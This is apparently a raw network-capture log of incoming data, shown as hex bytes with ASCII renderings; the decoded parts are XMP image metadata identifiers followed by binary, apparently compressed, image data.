2022-07-20 13:44:18 UTC	5762	IN	Data Raw: 31 61 36 65 63 66 2d 35 64 63 63 2d 62 34 34 39 2d 38 34 35 39 2d 37 39 37 38 61 65 61 61 33 64 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 62 35 62 64 65 39 2d 36 33 62 65 2d 34 36 65 38 2d 61 39 34 64 2d 63 63 65 31 64 32 66 35 32 32 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 63 34 36 37 35 32 2d 61 37 31 34 2d 39 38 34 35 2d 61 34 30 38 2d 32 32 65 63 35 34 39 38 38 62 62 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 64 66 62 32 34 31 2d 32 34 37 66 2d 34 32 31 33 2d 61 63 30 37 2d 30 65 36 61 36 30 32 34 38 33 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 65 31 34 62 66 36 63 2d Data Ascii: 1a6ecf-5dcc-b449-8459-7978aeaa3dec</rdf:li> <rdf:li>xmp.did:adb5bde9-63be-46e8-a94d-cce1d2f5222b</rdf:li> <rdf:li>xmp.did:adc46752-a714-9845-a408-22ec54988bbe</rdf:li> <rdf:li>xmp.did:addfb241-247f-4213-ac07-0e6a60248332</rdf:li> <rdf:li>xmp.did:ae14bf6c-
2022-07-20 13:44:18 UTC	5778	IN	Data Raw: 66 36 30 61 31 30 61 2d 63 36 33 34 2d 34 35 66 34 2d 62 36 33 39 2d 34 33 33 35 66 65 38 39 61 31 61 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 38 35 31 38 32 37 2d 66 31 30 31 2d 34 33 31 32 2d 39 64 35 30 2d 36 62 34 63 34 65 36 64 37 36 65 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 38 63 32 33 61 35 2d 39 33 32 37 2d 34 65 33 37 2d 38 35 39 65 2d 30 33 33 35 32 32 63 31 32 64 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 61 61 38 35 64 64 2d 65 39 66 33 2d 39 38 34 32 2d 62 36 37 61 2d 64 37 34 65 31 38 30 64 65 62 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 65 64 66 63 38 30 Data Ascii: f60a10a-c634-45f4-b639-4335fe89a1a8</rdf:li> <rdf:li>xmp.did:df851827-f101-4312-9d50-6b4c4e6d76ed</rdf:li> <rdf:li>xmp.did:df8c23a5-9327-4e37-859e-033522c12d34</rdf:li> <rdf:li>xmp.did:dfaa85dd-e9f3-9842-b67a-d74e180deb41</rdf:li> <rdf:li>xmp.did:dfedfc80
2022-07-20 13:44:18 UTC	5785	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 31 63 65 35 39 39 2d 31 33 66 34 2d 34 35 38 65 2d 62 37 66 37 2d 63 30 34 35 30 34 66 64 31 63 34 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 63 34 61 61 62 64 2d 31 39 35 61 2d 66 61 34 39 2d 62 37 34 32 2d 63 30 38 64 33 31 38 37 34 66 37 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 31 63 64 36 65 30 2d 38 34 37 35 2d 34 38 31 36 2d 39 35 36 63 2d 39 30 33 61 31 32 62 39 34 65 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 32 35 65 39 38 66 2d 39 30 64 32 2d 34 37 64 30 2d 39 36 66 36 2d 36 62 34 62 63 66 63 65 61 65 65 62 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: df:li> <rdf:li>xmp.did:f61ce599-13f4-458e-b7f7-c04504fd1c4d</rdf:li> <rdf:li>xmp.did:f6c4aabd-195a-fa49-b742-c08d31874f7b</rdf:li> <rdf:li>xmp.did:f71cd6e0-8475-4816-956c-903a12b94e70</rdf:li> <rdf:li>xmp.did:f725e98f-90d2-47d0-96f6-6b4bcfceaeeb</rdf:li>
2022-07-20 13:44:18 UTC	5801	IN	Data Raw: 94 ef 4a b6 fb ee ed 43 f7 0b 6e 9a e8 79 7a 6b bb bb c9 49 50 c4 f8 7c a1 b2 ca a7 83 f2 c6 66 40 f8 cc 10 e9 12 0d 4a f2 11 19 24 7d d2 fe dd 2f 8e 43 1e 49 9f 98 ab 4b a8 ed 6b ea db e7 78 eb 45 cd 79 fe 37 06 14 92 79 24 1a 40 30 81 a5 57 66 eb 7e 27 d7 a4 90 65 4f 9b 21 44 d1 14 3e 7e f5 c5 56 89 e5 60 cd 20 dd b6 21 be 1c 8a 9f c4 ff 00 c7 5c 48 d2 c3 16 a6 b1 f3 18 a7 8c 26 31 44 23 cd ea f4 28 a9 02 c9 8c 15 88 24 8b 13 61 6b f6 bc 54 8f 27 e5 b7 0a 5f 1d c3 b7 48 5e 8d 9e 9d 0f 85 cd 1b 04 1c 59 50 dd 4f 45 fa 29 7d 05 71 78 9b 2c 4e 58 f3 d4 96 65 db 4e 31 7e 13 22 21 1a 4a 63 92 36 6d 41 85 91 bc 3f 0d 1e af b7 50 cd e4 f9 2c 1a 48 d4 32 a8 db 62 36 df c1 f7 b4 bf 33 07 e2 2c d8 e4 32 37 48 1d 54 e3 1b 05 a0 4e 24 d2 17 d7 6b 0d bb 8a 3f 7e b9 Data Ascii: JCnyzkIP\|f@J$}/CIKkxEy7y$@0Wf~'eO!D>~V` !\H&1D#($akT'_H^YPOE)}qx,NXeN1~"!Jc6mA?P,H2b63,27HTN$k?~
2022-07-20 13:44:18 UTC	5817	IN	Data Raw: 8b 72 5f 15 3c 67 58 79 b4 62 36 06 2e 84 0b d8 4b fb 44 ed fd 7d ca 56 af 8f 0c 92 26 54 48 64 6d e7 79 17 62 dc 6e 24 7d fd 72 7d ed 01 fe d1 06 50 33 c2 0c 0e 2c 57 41 23 67 8a aa f7 1f 86 39 76 91 cb 47 11 8f 04 79 b1 c6 4a 5c 7d c0 24 a1 72 f7 da b2 26 fc 7c ff 00 65 ff 00 15 3b e6 e1 23 cf 80 cd 33 59 a4 75 21 2f ab 68 fb c4 fa 94 c2 1c 49 a5 9a f8 aa 60 c5 55 d8 c4 db 59 fe 0f b6 df 7f 7f 33 d6 7f 2b 95 cb 83 8a b9 98 d9 25 8c 2e 18 2c 8b ac dd 8e 8d 7c 4f c3 a6 99 cd cf d2 2d 03 85 34 4d 62 59 06 99 19 4f 71 23 9b 76 b2 5a 3e a6 09 13 21 3b d0 ef e6 9b df c3 fb cd fa b8 4e 7a 80 ac ae bc b5 a0 8a ed 86 0c 8e 00 2b d2 07 7b c5 58 ce 71 cb 25 e4 f7 9f 1e f2 63 cb ab 65 bb 02 de d6 b4 1c a7 e6 38 25 42 d9 61 f1 d5 36 28 91 4a af 83 da 76 29 a3 65 c1 Data Ascii: r_<gXyb6.KD}V&THdmybn$}r}P3,WA#g9vGyJ\}$r&\|e;#3Yu!/hI`UY3+%.,\|O-4MbYOq#vZ>!;Nz+{Xq%ce8%Ba6(Jv)e
2022-07-20 13:44:18 UTC	5824	IN	Data Raw: a9 3b df 8b 5a b9 79 96 36 1e 3c 7f 14 db e1 14 b0 17 3b 48 ed ad 65 cb 2b 88 23 c7 27 69 0b e5 c6 ae f8 b6 e7 05 4b 69 7b ed a5 19 d8 32 73 36 55 9e 65 8e 04 b0 0a 06 95 2d ef 1a b4 1c bb 94 62 e0 a8 e1 28 2d e3 20 16 fb 54 2a cb 14 a5 66 93 62 01 75 51 b4 dc f7 a4 af 64 73 74 82 26 6c 78 d9 82 82 4d 86 c1 f8 95 46 46 96 45 11 ad d5 47 2f 0a 50 a3 63 b3 c7 e9 d4 be 60 e6 e7 02 35 8a 01 af 26 63 a6 34 e9 d5 f7 9a ff 00 0f 4d 2e e5 bf 2f 62 38 67 69 35 39 70 cf a4 69 2c eb ad b8 70 ff 00 f9 34 4f 52 e4 6c 39 e6 73 f3 56 52 22 8d 78 51 5f bd f7 f2 d4 be 62 e6 83 00 31 83 66 44 82 c8 d6 ec 27 bd 97 f7 29 91 06 89 84 09 f1 76 ca 7d 7f 2f f7 34 cc ca 8b 8f 1a 41 f3 6c d8 8d 22 e2 63 20 66 88 ef 48 4d da ff 00 72 bf f5 3c fa cd c2 00 26 c0 85 14 6a 47 d2 c6 aa Data Ascii: ;Zy6<;He+#'iKi{2s6Ue-b(- T*fbuQdst&lxMFFEG/Pc`5&c4M./b8gi59pi,p4ORl9sVR"xQ_b1fD')v}/4Al"c fHMr<&jG
2022-07-20 13:44:18 UTC	5840	IN	Data Raw: 19 78 96 58 63 77 98 b9 2e bb b1 ad b5 3f 09 25 5f d3 d1 ef 2a fc 0f 97 82 24 07 18 93 a9 b5 b8 71 ad 55 08 ec 32 b5 3b e5 7c 9a 2e 51 19 82 1b bc 44 ea 02 4d ed 2d e6 35 1f 1c fc 59 1a 35 42 15 7a 58 f6 49 f0 d6 4c ff 00 89 12 a1 23 b9 c4 b3 cb 3b f1 cb 9f bb c7 f8 7f bb a7 2a d8 92 49 3e af 2a d6 3f 98 72 bc de 57 91 26 7f 2c 08 a8 2e 5c 03 b1 c7 ff 00 c3 d1 18 99 7f fe 32 29 79 49 59 23 b5 b1 c1 d3 a5 bf fc 2d be f3 cc fb ba d3 65 f0 b3 1b 44 ac a9 b3 ab 60 20 6f 37 a7 5f 3e e7 39 f0 e3 65 99 b1 f5 45 97 13 e9 24 f6 19 74 f1 15 f7 77 fd 66 e2 76 29 f1 03 dd 31 44 1d 46 51 ee fb 8c 3a 2d ee d7 ed 3f af 50 da 1c f6 37 a3 cd f9 7d e5 6b b3 b9 54 d9 b0 3e 26 4b 2b 2b a5 b5 7b cd 43 b1 2f 75 37 2b 2c df 25 e4 40 e5 64 95 59 41 b0 d0 a5 9a f6 ec b2 3e 9d 14 Data Ascii: xXcw.?%_$qU2;\|.QDM-5Y5BzXIL#;I>*?rW&,.\2)yIY#-eD` o7_>9eE$twfv)1DFQ:-?P7}kT>&K++{C/u7+,%@dYA>
2022-07-20 13:44:18 UTC	5856	IN	Data Raw: e5 cb 94 69 12 45 24 40 87 4b 6e 92 db ba 51 bd fd 67 fe 55 e7 3c c0 3b e3 26 93 1b dd 81 b6 a5 5b f9 f4 cf 9e f3 89 70 a3 00 b6 a9 18 10 a3 b2 bb 3b fb 95 0f 14 11 c6 91 20 7f e7 46 d7 53 b8 f1 b7 1f d4 a7 87 3a 82 b9 0e 56 e4 ae 73 ec 59 f3 62 0b 1b 32 15 37 f2 7e ad 0f 8b 9d 2c 11 88 e6 53 29 17 b1 04 86 1e 9c c9 4a 79 5f 34 cc 92 46 85 8b 18 c8 b0 1d 6c c6 b4 58 38 bc 6c 36 8c 36 86 27 6b 75 f9 d4 a2 5b b5 01 5b 06 00 e9 bb 9f c4 a4 84 49 1b 31 78 df 87 35 e6 a1 bf dd 72 22 42 cc a2 ca 2e c5 81 35 1c 3e 6a 72 84 8e d2 f0 d1 56 e7 4a 8e 8f d8 a3 39 97 2e d6 8b 8d 8c d7 2f 6b 8e d3 30 5e d4 f3 3f 83 fe a5 2c 4f 97 84 61 e3 89 a4 75 ef 86 21 45 fd 05 a0 51 13 26 47 70 9d 9b b4 f2 96 b1 14 a3 98 f3 95 cc 60 78 0a e5 01 54 69 b7 8a a9 fc 24 f5 74 af 99 e5 Data Ascii: iE$@KnQgU<;&[p; FS:VsYb27~,S)Jy_4FlX8l66'ku[[I1x5r"B.5>jrVJ9./k0^?,Oau!EQ&Gp`xTi$t
2022-07-20 13:44:18 UTC	5864	IN	Data Raw: cb cd 78 27 98 93 00 29 24 70 8d f7 7f c6 9f b8 9f c2 a6 b9 39 dc d7 26 56 5c 5d 38 f1 9b 02 53 d6 4a 4d bd d7 71 2b 3c c6 af ff 00 c8 93 a7 1c 8e d1 ac fb dd 1f 99 0a 7f 0e ba 27 e9 8c 51 76 46 24 5e 75 cb db ab 23 e5 cf c8 e6 03 8b 31 c2 2d a4 28 3a f8 24 7d e6 ec 8f f0 bf e8 fb ca 6d 99 39 48 f8 f8 e4 33 b0 0a 9d 6a 49 3d b6 d1 da 44 a5 bc bf 4f 2f 9c 62 34 cc d2 3b 71 08 63 ab a4 7a cd fa 4b cd e1 8b 13 98 36 56 06 42 00 56 ef 12 91 a4 38 3b e8 ad ec 78 8f db ac f9 7b 37 97 b8 70 7d df 48 34 aa d2 0e 9a cb 1e 5e ed 3f 89 fe a5 37 30 46 98 06 f2 65 8d 6b 39 5f 2b ca 89 df 26 79 4c a2 4b 12 87 c4 3e e9 3d da 7e 1d 47 9a e5 63 73 05 38 f9 49 65 43 70 a7 77 7d 7d 06 a5 1c af e6 e5 8f 54 d3 5b b3 6b 28 d4 c3 d3 c7 6f fc 94 ff 00 0e b3 b9 fc fb 0f 2b 29 f2 Data Ascii: x')$p9&V\]8SJMq+<'QvF$^u#1-(:$}m9H3jI=DO/b4;qczK6VBV8;x{7p}H4^?70Fek9_+&yLK>=~Gcs8IeCpw}}T[k(o+)
2022-07-20 13:44:18 UTC	5880	IN	Data Raw: 23 24 2d 89 07 64 e8 3b bf 53 b9 e0 a6 0e 4f 30 c6 57 84 1b be 93 66 d8 6d 7f 58 8f 49 65 63 64 07 75 b1 b9 6f 3d 12 d9 b5 ac f7 39 13 e6 ac b0 66 0d f7 04 c1 1a 6d ec f7 99 eb 0f 3e 3b 07 31 4b ba c8 48 23 e9 15 f5 89 96 08 89 9e 62 11 94 69 2d f4 1e ed 62 7e 65 e4 f3 c3 27 fb 9b 8b 24 b6 00 1e d5 87 62 49 13 cf ad 6f c3 e7 b1 29 6e 98 b6 ef f1 7d 4a b1 a3 2f a2 de 15 93 25 4c 9a 7a 85 72 57 51 26 a3 b0 9f 25 13 2c 44 35 91 47 d2 6a 89 a2 5b 5f ae b7 15 94 81 55 8a d3 af 97 b9 84 7c 41 8f 30 d5 00 60 74 9d ba db fb b5 a7 f9 dd f1 a3 e5 4e 80 ea 25 82 a7 9b de fa 9b 95 f3 de 5f 33 45 62 a4 ad 8e c3 d7 f5 6b 51 9c d8 fc cf 92 18 f5 33 64 e3 7a cd a7 53 3a df 44 ae df 87 bf 59 f3 c0 17 b8 8d c6 56 ea ad ca fe 5f 4e 97 13 ba c8 06 5b ad a2 2f 96 4f fc 95 2f Data Ascii: #$-d;SO0WfmXIecduo=9fm>;1KH#bi-b~e'$bIo)n}J/%LzrWQ&%,D5Gj[_U\|A0`tN%_3EbkQ3dzS:DYV_N[/O/
2022-07-20 13:44:18 UTC	5896	IN	Data Raw: 7b 6f 8a 57 f1 d5 d9 58 0f 14 8c 65 8c cf 91 23 1b 15 f6 42 9a f2 09 e5 c4 8c 62 3a 84 5e f3 db 7a fe 65 29 04 2e e1 9b 04 6e 5c 77 b7 bf 77 1f fc 95 0c a6 33 b1 d9 18 ef 11 c9 53 e5 dc e6 4c 65 30 11 6d 36 07 c5 52 c9 75 8d 46 2c 71 14 92 6d aa e7 79 b7 7d e7 8f ed d4 17 91 b6 4e 5f 13 0d 8f 0d 8f ac 62 05 b6 77 15 7b 74 7e 26 14 f1 e4 bc d9 2f a8 a8 d0 83 c8 80 ea d6 fe 7d 3a 55 7e cf b7 7e a9 6b 0c 52 18 f1 49 23 ce 4e 3a 90 a4 49 b9 c0 35 cf 2a cf 65 7c ac f8 19 69 9d 1b 1e 01 b0 98 77 ac dd b9 38 6b e1 ef d3 f3 06 2f 28 c7 79 89 72 80 5f b5 a8 9f 04 71 2f 9f dc a2 f3 65 58 e2 6d 5d 04 11 6f 2f 99 59 2e 53 97 8f 9b 99 c2 9e 42 b1 c4 da e3 42 4e f3 fd 7f ff 00 06 f7 10 d6 2e 72 77 4b 9b 64 12 1e 2c 39 e3 fe bd 58 26 c3 2f a5 56 73 5f 96 5f 3a 06 ca 9d Data Ascii: {oWXe#Bb:^ze).n\ww3SLe0m6RuF,qmy}N_bw{t~&/}:U~~kRI#N:I5*e\|iw8k/(yr_q/eXm]o/Y.SBBN.rwKd,9X&/Vs__:
2022-07-20 13:44:18 UTC	5904	IN	Data Raw: 6b 7a f9 aa cf cc 79 4e 5a e3 e6 de 40 ea 09 0b bf b1 bb de af bf 5a 07 40 a4 68 3a 81 00 8f cf 4c e1 cd 87 12 4e 2c c4 69 5e 9d b6 f4 53 fb 95 4c 50 47 96 9e ae d1 b0 66 b8 23 78 02 75 c6 9c 3f 42 ab c9 30 70 1c a8 8c f0 b6 1c 2f fb ca 1b 0f cd 4a 72 31 a3 c8 5d 2e 2f 6a 5b fe de 51 38 91 8b e9 24 10 3a 45 3b c9 c4 97 15 87 10 59 4f 41 e9 53 5c 10 68 4d 40 58 39 26 ff 00 48 a3 49 8a 8d 0d d4 d0 94 14 27 2b 74 99 52 09 98 ac 68 f7 36 f0 b7 77 f7 e9 e6 77 26 99 64 55 c3 8c 2a a1 d4 ac 08 0d b7 c5 27 6e 93 28 c7 8e 68 b8 dd 32 16 52 01 da 7f 89 e6 6f d3 83 91 97 8a bc 15 65 32 c4 ba 92 e7 d5 c8 9d 9f 5d fc 3a 4c e5 b2 0c 9a 5e fb af c1 ed 54 81 61 63 a8 a0 60 c3 e6 38 53 85 ca 7d 50 48 0e ec 84 6a 1f c2 99 77 78 95 93 e7 32 ca f9 6c 27 ed 0d 97 20 5e dd c7 Data Ascii: kzyNZ@Z@h:LN,i^SLPGf#xu?B0p/Jr1]./j[Q8$:E;YOAS\hM@X9&HI'+tRh6ww&dU*'n(h2Roe2]:L^Tac`8S}PHjwx2l' ^
2022-07-20 13:44:18 UTC	5920	IN	Data Raw: 24 7b d5 39 f9 ac 3a 02 dd e2 70 f6 26 db aa bd f8 38 91 71 13 b3 43 62 66 07 23 37 0d 23 d2 36 1d 2e 34 74 76 5a 3f 57 c1 de aa 32 79 ae 31 9f 71 1e 09 18 e9 90 a8 d2 09 ef bb fb 99 3f 4e 90 61 05 cd 94 e9 e5 f5 3c e9 bf 50 4d 87 8d eb 55 8f 93 06 4a 0d 0e b2 0f ca 0d 72 57 6c 56 07 b5 17 87 6e ab f7 3f 97 59 ac c8 d6 10 a2 18 8c b3 db 56 a4 3a 1c 0e d7 ad 65 f5 75 63 72 0c ac dc 44 69 92 39 d1 0e a2 aa d6 76 3e 1f 88 f5 6f 25 47 6f da a9 70 77 a4 5e 2e 97 33 63 f9 7e ee 80 e6 45 ae bf 23 51 1f 33 aa 73 2c 47 c5 55 2f 28 37 40 bb 4d c0 dd f3 e9 7f 2f 97 98 c1 02 63 64 c5 26 32 a2 e9 69 0e c3 a0 77 20 fc 4d 1e 7a 51 78 30 72 7c 28 b5 cd c3 45 6b d8 4a 01 91 3b 9c 3d 52 7a dd 51 d2 61 ce f2 31 33 e4 c7 8f 29 b8 44 de 02 4d e3 7b fb 3e 3e 46 b4 f5 3e ef 8d Data Ascii: ${9:p&8qCbf#7#6.4tvZ?W2y1q?Na<PMUJrWlVn?YV:eucrDi9v>o%Gopw^.3c~E#Q3s,GU/(7@M/cd&2iw MzQx0r\|(EkJ;=RzQa13)DM{>>F>
2022-07-20 13:44:18 UTC	5936	IN	Data Raw: 57 5e c3 aa 5d 4c e9 af 71 e8 1e 5c b8 71 63 4e 21 27 8a 51 49 d6 07 89 7b fa 9d 56 86 e6 7c 5c 5c 68 8c 8c 0c f3 6f 93 d2 d1 a2 1f 52 a9 27 73 8d 26 b7 96 b3 11 2e 5d 15 8c 79 b6 ee 5c 5f 79 f4 29 92 44 84 02 ca ac df 9a b4 b9 a6 7c 95 d2 93 de dd c2 4a 8d 4a 7b fc 3f 6d f7 9e 0a 14 f3 9c cc 2d b9 88 b3 29 3d b4 dd 3f 62 a5 c8 39 dc 3c d6 d0 65 28 f8 80 3b 5d 4e 07 ea bd 39 6e 57 14 a0 aa a1 37 1d 55 46 47 e9 b7 4e 65 be 3f ab fb b9 28 55 14 0d d1 8d f5 dd a1 70 f3 b1 b3 4d d1 8a b0 e9 56 16 34 26 6a c9 16 b8 51 b8 7c 42 00 60 74 86 d5 ab da 52 1e 6f 88 b8 39 9c 17 7d 3a 76 ea 3d 61 bb 1a 92 9a 72 8c 86 cb d7 8f 37 ac 88 5c 6a eb 04 78 35 ef d3 4c 01 14 4a a7 28 c8 ca cd 52 1b 5b 1a 73 c8 71 70 39 38 47 60 72 39 83 8b e8 51 7d 1f 6b 72 3f e2 c9 44 73 bc Data Ascii: W^]Lq\qcN!'QI{V\|\\hoR's&.]y\_y)D\|JJ{?m-)=?b9<e(;]N9nW7UFGNe?(UpMV4&jQ\|B`tRo9}:v=ar7\jx5LJ(R[sqp98G`r9Q}kr?Ds
2022-07-20 13:44:18 UTC	5944	IN	Data Raw: 85 82 b4 7c 32 f9 12 59 62 8d 2f d3 ef 25 9e 6f 0a d0 8e de 47 8c 1b 69 c5 cb bd 9f 3b d0 de fb 2b 51 93 8f 8a 10 4d 92 da 63 51 b0 33 7a bf 4b 4f bd 77 a4 4b cd 97 3f 28 62 e0 91 18 50 15 da 5e 86 29 eb 38 51 62 2f 0d f4 ff 00 87 50 7c 9c 8c c1 62 ca 67 04 85 2c 3d 54 1e 7c 30 f8 ff 00 1d fd 65 5d ca 3e 5a c1 c3 88 6b 6d 59 1b 18 ca 0e f6 a0 75 7a ad 4b b9 ae 89 02 c0 8d 99 2d 21 dd 8c 5b 2c 3d 7f cb 8e 99 98 b6 27 fa 29 b4 7c be 38 8f 1f 28 f1 e6 27 b4 eb d9 bf dc 43 d8 89 28 e8 a4 d8 16 35 b8 1f 9a d5 56 2b ca 46 f1 0c 36 ed 3f a3 57 ac e4 30 43 d6 6a 81 bb 92 18 dc f2 f9 68 43 5e bd 95 9c b8 ca aa 48 53 7d b6 ed 7a 54 08 97 1b 27 98 3a ca 0c 69 c3 50 4b 1b 2c ad 76 f5 8a 94 bf 22 5d 73 9b c7 b7 51 b9 2d d3 63 ee d7 4d 57 cd 79 86 54 71 29 40 38 ec c3 Data Ascii: \|2Yb/%oGi;+QMcQ3zKOwK?(bP^)8Qb/P\|bg,=T\|0e]>ZkmYuzK-![,=')\|8('C(5V+F6?W0CjhC^HS}zT':iPK,v"]sQ-cMWyTq)@8
2022-07-20 13:44:18 UTC	5960	IN	Data Raw: 18 83 63 e2 4b 66 ba b0 04 9b 3b 76 74 2c 9e cb fe 9d 4d f9 ac 99 92 7c 20 88 07 2d a2 42 00 3a ad dd e2 ad 53 6e d4 a1 12 22 ba 2a f3 33 74 fe 9d 18 92 c4 8b ef fd 2a 4d 0f 2e 75 95 1e 60 d1 c9 70 48 1e f4 76 9f 86 df fe 11 a3 b7 17 bc ad 8f 2f cc c0 cb 5e 04 2b ad 64 b9 60 4d 85 fc f6 a0 73 79 74 d1 72 e6 c6 ce 1a 34 ba 32 9b d9 89 d6 89 c6 8b d1 47 a5 5f 30 72 99 f0 a6 2f a5 9e 29 0e 94 91 6e da ef ec e3 c9 e1 ff 00 f7 3f 8d ef bd 3a 6c 9f fc 96 c6 42 d1 4e 84 e0 39 1b 0c 64 fe dd 1e 2c 05 c1 c4 f8 fa d4 7f 37 e5 b0 72 49 62 9a 69 16 58 18 92 12 db 43 78 1b ef 52 99 e3 fc cb 82 f2 24 d0 b0 8e 40 9a 4c 56 50 ac 7b 48 f4 07 fb 5e 0f c3 a1 9b 4a 94 50 58 93 b4 0f 3f 89 4a e5 ce e4 f1 c8 c8 c9 06 8e 90 c4 c8 cc 4f d5 d1 fd 3d 5d 0e 62 65 20 2c 99 db 17 31 Data Ascii: cKf;vt,M\| -B:Sn"3tM.u`pHv/^+d`Msytr42G_0r/)n?:lBN9d,7rIbiXCxR$@LVP{H^JPX?JO=]be ,1
2022-07-20 13:44:18 UTC	5976	IN	Data Raw: e4 59 b5 13 b3 b1 f7 71 6f 52 68 4a ca 2f 1e f5 fa 87 97 c3 5a 88 be 59 e5 d8 4d 70 b1 a9 b7 4b 0d 60 7f 12 59 5a 82 cb 81 61 97 5a ef 46 16 c8 40 d8 17 bb f5 56 aa 45 22 05 b4 79 95 f0 32 53 80 1b 2e 19 85 67 e6 51 c0 39 00 ea 6d 56 09 a5 83 db bc f2 6e f6 2b 91 63 b4 d2 2c 60 6d 7d 82 fd 14 fc 63 19 d5 65 91 c2 a8 1d 00 0d e0 7c 6e d5 4c 71 c1 1c a9 20 60 42 ef 5b a8 a7 b2 95 51 a9 c2 7d 08 1b 6b 99 41 1f 2d 09 36 24 9c b1 c4 6f 95 24 71 31 ec 46 08 d4 3e f7 5e f5 38 93 93 e0 45 14 79 01 4c b2 13 65 e2 b1 91 5b f0 b8 3e ae 88 e5 f1 60 cd ae 70 37 14 8d 28 41 2f bb db fa 9a aa c9 4e 4e 4c ba e4 8d 52 15 6d cf 13 2f de f9 8f 55 65 99 c9 0a 4b 26 1f 13 ec f3 f5 37 2b 94 5b 55 b5 be 4a 43 cc 39 39 89 8c d2 c0 21 2a d6 06 1d 81 4f 99 c3 6d 7f 6e 99 e3 7c b7 Data Ascii: YqoRhJ/ZYMpK`YZaZF@VE"y2S.gQ9mVn+c,`m}ce\|nLq `B[Q}kA-6$o$q1F>^8EyLe[>`p7(A/NNLRm/UeK&7+[UJC99!*Omn\|
2022-07-20 13:44:18 UTC	5984	IN	Data Raw: b3 47 da 53 7a d7 f3 0c 69 d2 21 cd f1 8d c3 aa 99 a2 1b aa e9 e3 6d 1e f2 3a c7 a8 b7 55 7d 0b 90 ca cb 85 03 4a 4d 8a 74 1d 9b be 3d 15 9b df 31 4c 5c 0b eb 83 2f de 47 e4 ab 11 9d 6d e0 6a 86 e6 d9 a6 35 e1 62 23 af 94 ca 3a ff 00 95 54 c9 cd b3 50 2a ac 60 5c 6d 52 db 17 eb 2a 50 fc bb 9e 3c 25 e1 8e 26 97 1e 3b 95 71 da 09 7d ef 57 ef e2 c6 f3 29 9a 4e 73 e2 e2 30 21 0d b4 91 bc 1b ec 6e d5 26 41 19 d6 34 c7 d3 93 7f 5e 9a ca 4e 9e 5a 4f cf b9 84 b2 44 a6 62 04 40 ec 54 5d ad 27 a7 26 f7 f9 75 9e e5 b8 e9 3e 5d 90 58 f4 b1 e9 37 26 b4 9c cf 96 3b 27 1e 41 72 86 ca a0 dc 01 de 7f 4e bd f2 56 0a c0 66 c9 97 64 84 e9 0a 7a aa da 4c 91 76 ec 57 68 dd b2 f9 9a 81 af 61 7f 1a 27 9d e0 63 40 89 91 76 76 16 5b 77 5a e7 bd 56 43 8f 95 96 c4 69 31 28 16 52 76 Data Ascii: GSzi!m:U}JMt=1L\/Gmj5b#:TP`\mRP<%&;q}W)Ns0!n&A4^NZODb@T]'&u>]X7&;'ArNVfdzLvWha'c@vv[wZVCi1(Rv
2022-07-20 13:44:18 UTC	6000	IN	Data Raw: bd ed b7 a0 d2 3d 22 71 ae 5b eb be d3 6d 95 6c 52 c4 e3 84 db 07 42 91 4a 96 35 71 eb 2e d3 42 54 37 c9 47 f3 1c d4 d0 51 2f 72 48 d5 d5 bb e0 af 52 c6 6e 1f ab bd c0 d9 5e a1 e8 8c 2d e1 b7 2a 0f 1b 57 ff d7 0b 9b a3 49 22 99 34 82 35 6c 52 2d d3 ab 5e e6 ed 04 c0 05 04 6c db 63 b7 a4 f8 eb 53 f3 24 13 4e ea b1 d8 c5 a7 50 00 5b 43 01 bf c4 a4 90 4b 12 e3 b8 16 e3 93 a2 c4 5e ca 7b 6d e6 68 df af 31 0c b9 46 a4 0f 9a bc b4 eb dc eb 4b e0 94 e3 39 65 01 d0 8d aa 6e 14 db b3 f6 3b 94 eb 1a 66 c8 37 8c a9 4d 8c a1 bf 2e 9d 0f e8 7b da 56 62 3b 10 0b 93 60 07 94 d6 97 96 72 91 1b 35 ee 16 15 d2 e4 8e d4 9b 8d c3 81 ff 00 8b ae a7 b9 75 02 e7 8a 89 10 93 71 41 ce 27 7b 08 3b 7b 6f a7 74 11 e1 5f 43 b9 ae 9a a4 26 2c 60 72 a4 57 7b 74 1b 1f a9 f5 2a 31 20 78 Data Ascii: ="q[mlRBJ5q.BT7GQ/rHRn^-WI"45lR-^lcS$NP[CK^{mh1FK9en;f7M.{Vb;`r5uqA'{;{ot_C&,`rW{t1 x
